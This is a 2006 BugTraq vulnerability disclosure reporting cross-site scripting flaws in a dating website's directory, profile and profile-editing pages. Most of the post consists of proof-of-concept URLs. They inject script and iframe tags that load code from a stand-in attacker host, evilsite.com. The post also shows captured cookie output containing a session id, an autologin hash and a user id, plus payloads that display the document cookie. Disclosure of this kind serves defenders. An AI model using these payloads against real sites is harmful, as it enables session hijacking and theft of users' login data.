BugTraq
AsianXO.com - XSS with cookie data include Jun 10 2006 09:00AM
luny youfucktard com
AsianXO.com

Homepage:

http://www.asianxo.com/

Effected files:

directory.php

profiles.php

Input boxes of editing profile

----------------------------

XSS Vulnerability via dir_id:

Directory.php PoC:

http://www.axo2.com/directory.php?dir_id=1"><SCRIPT%20SRC=http://evilsit
e.com/xss.js></SCRIPT><"

Profiles.php PoC using malformed img tags in front a openended iframe:

http://www.axo2.com/profiles.php?userid=999999999<""><iframe%20src=http:
//evilsite.com/scriptlet.html%20<

------------------------------

Another XSS example of profiles.php, this time using allowed html tags <br> inaurl injection along with <script> tags,

which also reveals some interesting data:

http://www.axo2.com/profiles.php?userid=99999999<""><BR><BR><BR><BR><BR>
<BR><SCRIPT%20SRC=http://evilsite.com/xss.js></SCRIPT>

The output text:

This is remote text via xss.js located at evilsite.com phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%2291d
a4589b012c2fe1ceac1fb2363dbc6%22%3Bs%3A6%3A%22userid%22%3Bs%3A5%3A%22106
10%22%3B%7D; phpbb2mysql_sid=362562eaac0fc1d69e574584d4f95e60','gallery','height=500,
width=700,status=0');">

When converting the whole string from hex value, we notice a autologinid:# along with our cookie data that has our md5'ed hash pw in it.

a:2:{s:11:"autologinid";s:32:"91da4589b012c2fe1ceac1fb2363dbc6";s:6:"use
rid";s:5:"10610";};

NOTE: You can also use <script>alert(document.cookie)</script> and it will create a popup box with the cookie data in it.

PoC:

http://www.axo2.com/profiles.php?userid=99999999<""><BR><BR><BR><BR><BR>
<script>alert(document.cookie)</script>

---------------------

XSS Vulnerability of input boxes when editing profile:

The location input box doesn't correctly filter all data, for a XSS example we can enter in double < with ' and no

closing >

<'<IMG SRC=javascript:alert("XSS")

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